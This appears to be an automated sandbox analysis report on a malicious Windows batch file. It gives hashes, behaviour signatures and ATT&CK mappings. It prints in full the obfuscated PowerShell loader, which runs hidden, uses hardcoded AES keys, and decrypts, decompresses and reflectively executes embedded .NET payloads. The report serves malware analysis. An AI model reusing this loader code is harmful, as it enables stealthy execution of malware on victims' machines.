33554031f9ec302ee6640380fd88bc0aaea328591789d51e3a4b531e6ae17d89

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
27/02/2025, 02:36

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General

Target

33554031f9ec302ee6640380fd88bc0aaea328591789d51e3a4b531e6ae17d89.bat
Size

92KB
MD5

56156e92af196e2d50b95a298ccd72c6
SHA1

1a4813b0824e7b3ce1cb1da6fe1f232548d8159c
SHA256

33554031f9ec302ee6640380fd88bc0aaea328591789d51e3a4b531e6ae17d89
SHA512

effb4585ff014a84b7afeb5906c93781f4514db528c0e11afd280b6d663a709042d8e668b9e3b87deeb4feb7de7110eb4b50eb37259991b4108ce6fef821651d
SSDEEP

1536:S2ieY0tuOX7Y3kT/veAk9eezSbyMLPlM4F0CkmelJjXW:CBmuW8UmkezSHLoCElA

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 2688	3064	cmd.exe	31
PID 3064 wrote to memory of 2688	3064	cmd.exe	31
PID 3064 wrote to memory of 2688	3064	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\33554031f9ec302ee6640380fd88bc0aaea328591789d51e3a4b531e6ae17d89.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GCyt+CHAYOgHC8VzJzRgBO+OdR7UOxitDFTv1ekJA+Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0Yd0D5tzJ8h0YT6VILQ/ww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZpWdl=New-Object System.IO.MemoryStream(,$param_var); $OzPba=New-Object System.IO.MemoryStream; $tZbeO=New-Object System.IO.Compression.GZipStream($ZpWdl, [IO.Compression.CompressionMode]::Decompress); $tZbeO.CopyTo($OzPba); $tZbeO.Dispose(); $ZpWdl.Dispose(); $OzPba.Dispose(); $OzPba.ToArray();}function execute_function($param_var,$param2_var){ $DJLHQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DLMsn=$DJLHQ.EntryPoint; $DLMsn.Invoke($null, $param2_var);}$gXUzW = 'C:\Users\Admin\AppData\Local\Temp\33554031f9ec302ee6640380fd88bc0aaea328591789d51e3a4b531e6ae17d89.bat';$host.UI.RawUI.WindowTitle = $gXUzW;$tdANz = [type]::GetType('System.IO.File');$XbyGs = [type]::GetType('System.Environment');$FoDmC = $tdANz::('txeTllAdaeR'[-1..-11] -join '')($gXUzW);$ITguX = $XbyGs::NewLine;$UsyQP = $FoDmC.Split($ITguX);$koCcE = $UsyQP;foreach ($WdDuV in $koCcE) { if ($WdDuV.StartsWith(':: ')) { $STBOT=$WdDuV.Substring(3); break; }}$payloads_var=[string[]]$STBOT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2688-4-0x000007FEF51EE000-0x000007FEF51EF000-memory.dmp

Filesize
4KB

Download
memory/2688-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2688-6-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2688-7-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-9-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-8-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-10-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-11-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-12-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download